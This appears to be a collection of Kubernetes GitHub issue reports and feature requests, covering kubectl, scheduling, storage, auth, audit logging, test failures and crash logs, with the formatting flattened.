<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r without -w option, i can see that kubectl get something shows additional columns for my crd instances.  but with -w flag, just name and age are shown.\r \r   what you expected to happen  :\r \r additionalprintercolumns should work with -w flag as well.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. define a crd with additionalprintercolumns and create its instance.\r 2. get it using kubectl get something -w\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

kubernetes implements node-specific volume limits for amazon, google and azure but not for openstack: https://kubernetes.io/docs/concepts/storage/storage-limits/\r \r because of libvirt, openstack has a limit of 26 attached volume: https://specs.openstack.org/openstack/nova-specs/specs/stein/approved/conf-max-attach-volumes.html\r \r the kubernetes scheduler should take that limit into account.\r

<!-- please only use this template for submitting enhancement requests -->\r \r ---\r \r with the following descriptions, please pretend there are duplicate figures for role/clusterrole/rolebinding/clusterrolebinding\r \r ---\r \r   what would you like to be added  :\r \r for... reasons, you can export a namespace's entire rack of _roles_ and _rolebindings_ but not individuals.\r \r    \r \r kubectl get role -n namespace name-of-role --export -o yaml\r \r apiversion: rbac.authorization.k8s.io/v1\r kind: role\r metadata:\r    \r instead of\r \r    \r \r kubectl get role -n namespace name-of-role --export -o yaml\r \r error from server  badrequest : export of \ rolebindings\  is not supported\r \r    \r \r   why is this needed  :\r \r this is an arbitrary limitation of ga features.  rbac adoption should be encouraged.  proper use of rbac already adds a _very understandable_ amount of complexity to rbac adoption--the api should not make this adoption more challenging than necessary.\r \r  kubectl get role -n namespace --export -o yaml  already provides an _items_ collection without complaint.  \r \r <!-- do not edit below this line -->\r 

which jobs are failing  :\r node-kubelet-serial\r \r   which test s  are failing  :\r local storage eviction tests on ubuntu\r \r   since when has it been failing  :\r 1/11/2019 13:09\r \r   testgrid link  :\r https://k8s-testgrid.appspot.com/sig-node-kubelet node-kubelet-serial&include-filter-by-regex=eviction&include-filter-by-regex=localstorageeviction\r \r   reason for failure  :\r not clear yet\r \r cc @yguo0905 \r did we bump the ubuntu image or something?\r

mentioned in todays community meeting by @smarterclayton during @liggitt serviceaccount demo.  should something generate a kubeconfig file with the token in it, for each service account? this would allow me to simplify the code in cluster/saltbase/salt/kube-addons/kube-addons.sh which creates secrets to just create service accounts.  would this be the tokencontroller, or some new controller?  would the kubeconfig go into a separate secret, or the same secret as the bare token? - if same, then is serviceaccountsecret still the right secret type? - if different, is it annoying to have so many volumes? - if same, limited control over location of each?  given that there is now a \ file format\  for tokens, should we just extend the kubeconfig format to support a  tokenfilename  field?  if we did that, is there any need to put the kubeconfig in a secret, since it just references secrets?  what should be the canonical location where the automounter puts a kubeconfig file, so that clients don't have to specify a flag?

forked from  14077   in the types.go: https://github.com/kubernetes/kubernetes/blob/master/pkg/api/v1/types.go l594  and there are other occurances of \ required:\  in the comments in types.go, which shouldn't be there.  we will also need to re-run scripts to generate html files after the comments are fixed.  @nikhiljindal

cc @kubernetes/sig-api-machinery @bgrant0607 @caesarxuchao @lavalamp

right now the e2e suite houses several   performance   tests but most of those are behavior level tests and run on a per-pr basis.  we would like to add more performance tests but are uncertain if is makes sense to lump it all into the existing test suite vs. either  - breaking it into it's own suite  - creating a separate directory to house that set of e2es  thoughts?   /cc @gmarek @wojtek-t @kubernetes/sig-testing

we should merge all of the cluster/addons/dns/ .yaml.  into a single file  say  addon.yaml.base  \r \r this way all of the dependent scripts for cluster creation do not need to be modified when the addon is changed. this currently contributes to the maintenance cost of the addon as it is not immediately obvious all of the locations that need to be changed when an update to the addon is done.\r \r @mrhohn \r

failure cluster  171d3d9981699b3a3a86  https://go.k8s.io/triage 171d3d9981699b3a3a86        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/ingress.go:140 expected error:     < errors.errorstring | 0xc4214e04d0>: {         s: \ incorrect source ranges  130.211.0.0/22 35.191.0.0/16 , expected  130.211.0.0/22 : found differences: map 35.191.0.0/16:{} \ ,     }     incorrect source ranges  130.211.0.0/22 35.191.0.0/16 , expected  130.211.0.0/22 : found differences: map 35.191.0.0/16:{}  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/ingress.go:129           failure cluster statistics: 1 tests failed,    3 jobs failed,    101 builds failed. failure stats cover 1 day time range '10 may 2017 20:05 utc' to '11 may 2017 20:05 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  loadbalancing: l7  k8s.io  gce  slow   feature:ingress  should create ingress with given static-ip | 3 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gke-ingress-release-1.6 | 45 |  11 may 2017 19:22 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-ingress-release-1.6/3185  | | ci-kubernetes-e2e-gci-gce-ingress-release-1.6 | 40 |  11 may 2017 19:17 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-ingress-release-1.6/2445  | | ci-kubernetes-e2e-ubuntu-gke-1-6-ingress | 16 |  11 may 2017 19:27 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-ubuntu-gke-1-6-ingress/381  |   current status  https://go.k8s.io/triage 171d3d9981699b3a3a86

please link to this issue or comment on this issue with known errata for the 1.7.x release. this follows what we have done for prior releases.\r \r we will be populating the \ known issues\  section of 1.7.0 and above release notes based on this issue\r \r cc/ @kubernetes/kubernetes-release-managers

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r executing the following code:\r    \r package main\r \r import  \r \t\ log\ \r \t\ time\ \r \r \t\ k8s.io/api/core/v1\ \r \tmetav1 \ k8s.io/apimachinery/pkg/apis/meta/v1\ \r \t\ k8s.io/client-go/kubernetes/fake\ \r  \r \r func main   {\r \tclient := fake.newsimpleclientset  \r \r \tgo func   {\r \t\ttime.sleep 3   time.second \r \r \t\tclient.corev1  .services \ default\  .create &v1.service{\r \t\t\tobjectmeta: metav1.objectmeta{\r \t\t\t\tnamespace: \ default\ ,\r \t\t\t\tname:      \ foo\ ,\r \t\t\t},\r \t\t} \r \t\tlog.printf \ service created!\  \r \t}  \r \r \twatch, _ := client.corev1  .services \ default\  .watch metav1.listoptions{} \r \r \tc := watch.resultchan  \r \r \tfor {\r \t\tselect {\r \t\tcase <-c:\r \t\t\tlog.println \ an event occurred!\  \r \t\tcase <-time.after 10   time.second :\r \t\t\tlog.fatalf \ timeout!\  \r \t\t}\r \t}\r }\r    \r prints\r    \r $ ./fake-watch-test\r 2017/10/17 16:57:06 service created!\r 2017/10/17 16:57:13 timeout!\r    \r \r   what you expected to happen  :\r i would expect the \ an event occurred\  line to be printed, when the watch channel receives the event for the service creation\r \r   how to reproduce it  as minimally and precisely as possible   :\r  go build  the above, execute it.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r latest client-go   076e344c86e52f088b78615f815b245f6d613537  \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r   what happened  :\r kubelet log indicates that cadvisor failed to collect filesystem with a lot of \  no such file or directory\  , and then eviction manager tells that evicting pod s  to reclaim nodefs is needed while node disk usage is low.\r   what you expected to happen  :\r as known from other issues, cadvisor will du the whole overlay dir instead of the writable layer in kubernetes 1.8, so the du command failed. but node comes to disk pressure state  and evict pods are not expected.\r   how to reproduce it  as minimally and precisely as possible   :\r a image with dir which contains a lot of files 100w , and do some operation with the dir, like rm. the dir is in lower layer.\r \r   anything else we need to know?  :\r ! image  https://user-images.githubusercontent.com/7546095/43836174-1702d24c-9b47-11e8-9731-adeac4be4ed2.png \r ...\r ...\r ! image  https://user-images.githubusercontent.com/7546095/43836197-2a3d865e-9b47-11e8-800b-902e741bd343.png \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.1\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : centos 7.2\r - kernel  e.g.  uname -a  : linux yq01-ai2b-dev-online02.yq01 3.10.0-327.el7.x86_64  1 smp thu nov 19 22:10:57 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r - install tools: manual installation\r - others:\r docker info:\r server version: 17.09.1-ce\r storage driver: overlay\r  backing filesystem: xfs\r  supports d_type: true\r

please coordinate with sig-scheduling before working on this issue.   we want to avoid the situation where two people accidentally start work on the same fix.\r \r main tracking issue: https://github.com/kubernetes/kubernetes/issues/68951\r \r if you contributed in phase 1, please give others a chance before claiming this issue. you can also help out by reviewing the phase 2 prs.\r \r \r the package  pkg/scheduler/algorithmprovider/defaults  contains  init    code that makes several calls into  factory.registerfitpredicate  and similar functions. the code that registers all predicates should be moved into  pkg/scheduler/algorithm/predicates  along with the call to  factory.registerpredicatemetadataproducerfactory . the above also applies to priorities, whose code belongs in  pkg/scheduler/algorithm/priorities .\r \r \r when this is done, the only  init    code in the  defaults  package should be to  factory.registeralgorithmprovider .\r \r \r note: algorithm providers are just sets of strings, so the  defaults  package doesn’t need to have any side effects beyond registering the two algorithm providers.\r \r \r other note: i think  applyfeaturegates    should be refactored away as part of https://github.com/kubernetes/kubernetes/issues/68957.\r \r   /help\r /good-first-issue

afaik this is currently necessary only for mounting gce pds onto a kubelet. if we moved the pd mounting from the kubelet to the master then we could drop this scope from the node vms.

currently when kubelet is running in a container downward api doesn't work. the problematic workflow is: 1. kubelet mounts tmpfs as a downward api volume using  nsenter_mounter  in host's namespace 2. kubelet reads data from api server 3. kubelet tries to write data to the newly created volume, but as it resides in host's namespace it fails.  this will be solved with docker/docker 15648, but before it happens we will need some temporary solution. one workaround is to use nsenter to write data similarly to how we have mounted it.  this is important to run kubelet and other k8s components as docker containers, which should greatly simplify ux for new setups.  @dchen1107 @smarterclayton @brendandburns @pmorie

some minions stop working today and i went to go figure out why. i found  /var/lib/docker  having 2.5g of data  / is only 8g  and a number of dangling images:  docker images -f \ dangling=true\  | wc -l => 32 .  does kubernetes gc the images? if so, when?

i have some configmap and secrets that contain binary data. downloading the configmap, and editing it by hand to update the data in them is perilous.  one current alternative is deleting and recreating the configmap but it's easy to forget you deleted it or screw up the replace and wander off for lunch while a deploy occurs which then breaks.  another alternative is making a new configmap with a new path and then updating the deployments that need to use it. this seems a little too onerous and involves making the kubernetes user encode some version information into their configmap names which seems fragile.  it would be nice to get a  replace  like command but that was for updating a key in the config-map with a similar  --from-file  interface as  create config-map  so that the user doesn't screw up the encoding in the file.   i've used \ configmap\  above, but all of the same issues occur for secrets, as well .

i'd like to draft a  proposal on integrating kube-dns with external dns, e.g. mesos-dns; if any comments/suggestions, please let me know.

there are so many providers and so many ways to install. but there is no clear way to say how a release to release upgrade impacts my existing cluster. this request is specifically for requesting  1. guideline for release to release upgrade strategy. 2. release to release upgrade matrix for kubernetes components. 3. known issues with upgrades with the release statements.

seen in https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/49919/pull-kubernetes-unit/44052/artifacts/junit_4c222743672c1e0f5982cb84c150211a71c8abdf_20170801-145439.stdout\r \r    \r fatal error: concurrent map writes\r \r goroutine 1061  running :\r runtime.throw 0x3a5abae, 0x15 \r \t/usr/local/go/src/runtime/panic.go:596 +0x95 fp=0xc427f4d308 sp=0xc427f4d2e8\r runtime.mapassign 0x338bc60, 0xc4216f0c90, 0xc427f4d8b0, 0x0 \r \t/usr/local/go/src/runtime/hashmap.go:499 +0x667 fp=0xc427f4d3a8 sp=0xc427f4d308\r k8s.io/kubernetes/federation/pkg/federation-controller/cluster.  clustercontroller .addtoclusterset 0xc42153c370, 0x39d6d20, 0xc427f4d890 \r \t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/cluster/clustercontroller.go:121 +0x215 fp=0xc427f4d440 sp=0xc427f4d3a8\r k8s.io/kubernetes/federation/pkg/federation-controller/cluster.  clustercontroller .updateclusterstatus 0xc42153c370, 0xc427f4de98, 0x18 \r \t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/cluster/clustercontroller.go:168 +0xf07 fp=0xc427f4de40 sp=0xc427f4d440\r k8s.io/kubernetes/federation/pkg/federation-controller/cluster.  clustercontroller .run.func1  \r \t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/cluster/clustercontroller.go:130 +0x2e fp=0xc427f4de88 sp=0xc427f4de40\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0xc42100e8a0 \r \t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133 +0x5e fp=0xc427f4dec0 sp=0xc427f4de88\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0xc42100e8a0, 0x3b9aca00, 0x0, 0x180001, 0xc423c7c240 \r \t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134 +0xbd fp=0xc427f4df90 sp=0xc427f4dec0\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0xc42100e8a0, 0x3b9aca00, 0xc423c7c240 \r \t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88 +0x4d fp=0xc427f4dfc8 sp=0xc427f4df90\r runtime.goexit  \r \t/usr/local/go/src/runtime/asm_amd64.s:2197 +0x1 fp=0xc427f4dfd0 sp=0xc427f4dfc8\r created by k8s.io/kubernetes/federation/pkg/federation-controller/cluster.  clustercontroller .run\r \t/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/cluster/clustercontroller.go:133 +0xfc\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r \r  \r @kubernetes/sig-cli-bugs\r \r   what happened  :\r we have webhook auth n  enabled in our kube-apiserver. i generated myself a token, and used vim to write the token to a file in my  ~/.kube/config  directory. i added a  tokenfile  field to my  ~/.kube/config  user, referencing this token file,  and issued a  kubectl get po  command. \r \r i received the error:\r  unable to connect to the server: net/http: invalid header field value \ bearer: <token_redacted>\ \  for key authorization \r \r   what you expected to happen  :\r i expected the token file to work, as it contained only a single line containing the token.\r \r   how to reproduce it  as minimally and precisely as possible   :\r using a text editor that adds linebreaks automatically, save your token to a file and reference that file in your kubeconfig using the  tokenfile  entry.\r \r   anything else we need to know?  :\r it would be reasonable to ask people to not include any leading/trailing\r whitespace in their token files. however, some  many? most?  text editors will\r add a single linebreak at the end of a line by default. this seems to\r originate from the posix definition of a  line :\r \r  a sequence of zero or more non-<newline> characters plus a terminating <newline> character.   from\r http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/v1_chap03.html tag_03_206 \r \r vim seems to exhibit this behaviour by default, so i'm presuming it's widespread.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r  server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration  : onpremises cluster\r - os  e.g. from /etc/os-release : centos linux release 7.0.1406  core \r - kernel  e.g.  uname -a  : linux 3.10.0-327.10.1.el7.x86_64  1 smp tue feb 16 17:03:50 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools: from binaries\r - others: none\r

is this a bug report or feature request?  :\r  \r   description  :\r \r provide a pull-based stream for audit logging. this would look similar to a watch request to the api server, and provide a stream of audit events. i would not expect the stream to return any previous events  i.e. no associated storage , it would only stream events that occurred after the stream was opened. this would be a new audit backend plugin.\r \r the should also have some options to filter events. minimally, there should be a namespaced version that only includes audit events tied to that namespace, so that rbac can be used to grant subdivided access. secondarily, it might be nice to be able request only events tied to a given user or resource.\r \r   motivation  :\r \r the current audit backends  log & webhook  require very high privileges  file access to the master  or prior configuration  webhook . there are a number of use cases for dynamic and unprivileged access to the audit logs. examples include:\r \r -  audit2rbac  https://github.com/liggitt/audit2rbac  - generate rbac rules from audit logs. it would be nice to simply point this tool at a running cluster. with the namespace subdivision, an admin could grant developers working in a namespace access to their audit logs to use this tool, without granting the full cluster audit logs.\r - debugging - related to the above point, api audit logs can be very useful for debugging, and this would provide an option to surface a subset of the logs to developers.\r - 3rd party audit plugins - this isn't a strong use case as the stream would be less reliable than the push-based webhook, but there might be other use cases for plugging in logging tools to the stream.\r \r   challenges  :\r \r audit logs can be very noisy, so there is a risk that providing this stream  and potentially multiple connections  could have a performance impact. subdividing the audit logs  namespaces, resources, etc.  would help. we could also potentially restrict this to metadata-level, though that would negatively impact the debugging use case  maybe a request parameter? . also, the stream should not have the reliability guarantees as the webhook & log backends, if the stream is congested events will be dropped.\r \r /cc @crassirostris @liggitt @destijl @sttts @kubernetes/sig-auth-feature-requests

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r >  \r \r   what happened  :\r when network exception, webhook for authentication/audit/admission can be blocked out of control.\r   what you expected to happen  :\r should make all http request under control\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

@spiffxp noticed that we only run gci-gce-audit on master and there's no equivalent job for the release branches https://github.com/kubernetes/test-infra/issues/5558 issuecomment-346385580\r \r cc @crassirostris @kubernetes/sig-auth-test-failures \r \r i think we probably just want to run the job on the 1.9 release branch for 1.9 until we figure out how to enable it for all e2e tests  https://github.com/kubernetes/kubernetes/issues/56210 .

kube 1.9.0 is released  https://github.com/kubernetes/kubernetes/releases/tag/v1.9.0 . we have to tag the corresponding v6.0.0.\r \r todo:\r -  x  update readme.md https://github.com/kubernetes/client-go/pull/347\r -  x  create changelogs \r -  x  smoke tested godep via https://gist.github.com/sttts/4dce955e1ed6fd128f4b9b32f50f271f\r -  x  smoke tested glide via https://github.com/sttts/kube-glide-test\r -  x  decide about https://github.com/kubernetes/publishing-bot/issues/12: decision: we won't do a manual commit, but take the necessary time to fix this correctly and test well

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r there is a resourcequota named testquota in namespace, i create a pod with \ kubectl create -f pod.yaml\ , it will success and testquota will be updated. when i use \ kubectl create -f pod.yaml\  again, the pod creating failed and apiserver will return \ error from server  alreadyexists : error when creating \ pod.yaml\ : pods \ get-date\  already exists\  that's just as it should be .  but the testquota still be updated in apiserver.\r \r of cource resourcequotacontroller which is in kube-controller-manager will  repair testquota when some resource related testquota be updated create, delete or update .  but i think there is a potential problem, if someone use \ kubectl create -f pod.yaml\  in a loop, others can't use any resource which limited by resourcequota in same namespace.\r   what you expected to happen  :\r resourcequota can be updated until pod be created success.\r   how to reproduce it  as minimally and precisely as possible   :\r above\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-26t08:16:41z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-03-22t08:48:13z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r - kernel  e.g.  uname -a  :4.13.0-36-generic\r - install tools:\r - others:\r

\r   what happened  :\r documentation of localvolumesource says:\r \r    \r type localvolumesource struct {\r   \t\t// the full path to the volume on the node\r \t\t// for alpha, this path must be a directory\r \t\t// once block as a source is supported, then this path can point to a block device\r \t\tpath string\r }\r    \r \r   what you expected to happen  :\r local block volumes are implemented in 1.10 and it's in beta now. it should be documented in api together with its consequences e.g. that a block device is supported now and such device must be used in volumes with  volumemode=block .\r \r @dhirajh @ianchakeres, ptal

1.base image of hypecube\r gcr.io/google-containers/debian-hyperkube-base-amd64:0.10\r \r 2.the glusterfs version\r root@node3:/  glusterfs --version                                                                                                                                                             \r glusterfs 3.8.8 built on jan 11 2017 14:07:11\r \r 3.the glusterfs log\r root@node3:/  cat /var/lib/kubelet/plugins/kubernetes.io/glusterfs/pvc-1bcde16a-5363-11e8-9fdb-001a4a180029/gfstest-0-glusterfs.log  | more\r pending frames:\r patchset: git://git.gluster.com/glusterfs.git\r signal received: 11\r time of crash: \r 2018-05-09 08:30:26\r configuration details:\r argp 1\r backtrace 1\r dlfcn 1\r libpthread 1\r llistxattr 1\r setfsid 1\r spinlock 1\r epoll.h 1\r xattr.h 1\r st_atim.tv_nsec 1\r package-string: glusterfs 3.8.8\r /usr/lib/x86_64-linux-gnu/libglusterfs.so.0 _gf_msg_backtrace_nomem+0x7e  0x7f244d53a37e \r /usr/lib/x86_64-linux-gnu/libglusterfs.so.0 gf_print_trace+0x334  0x7f244d543ac4 \r /lib/x86_64-linux-gnu/libc.so.6 +0x33060  0x7f244bb90060 \r 12a     /x86_64-linux-gnu/libglusterfs.so.0 gf_ports_reserved+0x13a  0x7f244d544--more--\r /usr/lib/x86_64-linux-gnu/libglusterfs.so.0 gf_process_reserved_ports+0x8e  0x7f244d54435e \r /usr/lib/x86_64-linux-gnu/glusterfs/3.8.8/rpc-transport/socket.so +0xc09b  0x7f244806809b \r /usr/lib/x86_64-linux-gnu/glusterfs/3.8.8/rpc-transport/socket.so client_bind+0x9d  0x7f244806848d \r /usr/lib/x86_64-linux-gnu/glusterfs/3.8.8/rpc-transport/socket.so +0x98d3  0x7f24480658d3 \r /usr/lib/x86_64-linux-gnu/libgfrpc.so.0 rpc_clnt_reconnect+0xc9  0x7f244d3050f9 /usr/lib/x86_64-linux-gnu/libgfrpc.so.0 rpc_clnt_start+0x39  0x7f244d3051c9 \r /usr/sbin/glusterfs glusterfs_mgmt_init+0x159  0x558ba2423f79 \r /usr/sbin/glusterfs glusterfs_volumes_init+0x44  0x558ba241ee94 \r /usr/sbin/glusterfs main+0x811  0x558ba241b4b1 \r /lib/x86_64-linux-gnu/libc.so.6 __libc_start_main+0xf1  0x7f244bb7d2e1 \r /usr/sbin/glusterfs _start+0x2a  0x558ba241b5ea \r \r 4.the heketi version\r  root@localhost ~   heketi --version\r heketi 4.0.0\r  root@localhost ~   heketi-cli --version\r heketi-cli 4.0.0\r \r 5.the glusterfs server version\r  root@localhost ~   glusterfs --version\r glusterfs 3.12.9\r repository revision: git://git.gluster.org/glusterfs.git\r \r 6.the storageclass of gfs\r  root@master1 ~   kubectl get storageclass gfssss -o yaml \r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   annotations:\r     storage_secret: \ null\ \r     storage_status: ok\r     storage_type: gfs\r   creationtimestamp: 2018-05-09t08:28:07z\r   labels:\r     storage_type: gfs\r   name: gfssss\r   resourceversion: \ 725649\ \r   selflink: /apis/storage.k8s.io/v1/storageclasses/gfssss\r   uid: e69f189c-5362-11e8-9fdb-001a4a180029\r parameters:\r   clusterid: c8875b7703e6653395b4ade178c5839f\r   restauthenabled: \ false\ \r   resturl: http://192.168.30.50:8080\r   volumetype: none\r provisioner: kubernetes.io/glusterfs\r reclaimpolicy: delete\r \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   what happened  :\r \r recently, there're more and more requirements occur that we should have a fine grained usage of equivalence class cache in scheduling path.\r \r for instance\r \r 1. when doing invalidation for some cached result, we want to only do this for nodes in the same topology domain instead of all nodes in cluster.\r \r 2. there're some exceptions we need to bypass ecache, i.e. re-scheduling of failed pods.\r \r but in current implementation, this kind of fine grained control is not possible as we don't have predicate details in  generic_scheduler.go . \r \r as a consequence, we have to skip some predicates though in most cases, they can benefit a lot from cached predicates, see:  67818 \r \r   what you expected to happen  :\r \r after discussion, we all agree that merging equivalence class cache with predicates pkg would be a good solution, and the code base of ecache will be more centralized as well.\r \r   anything else we need to know?  :\r \r the refactoring is straightforward, but at the same time, we want this change has backward compatibility so we will not break other users who imported/implemented kube-scheduler interface.\r \r this is a bit tricky as keeping current scheduler interface unchanged are tend to cause performance impact, see: https://github.com/kubernetes/kubernetes/pull/67241 discussion_r212794448\r \r we need to work out a design.\r \r  /assign @resouer\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r \r \r   what happened  :\r i was reading api reference, clicked on a button that says \ curl request example\  and nothing happened.\r   what you expected to happen  :\r i expected an example to be shown.\r   how to reproduce it  as minimally and precisely as possible   :\r click the button \ curl request example\  in api reference v1.11. it is caused by missing jquery. https://kubernetes.io/js/jquery-2.2.0.min.js\r \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/util/pluginwatcher/plugin_watcher.go l160\r \r \r when timeout happens, we should not close watcher? is this desired?\r \r   what you expected to happen  :\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

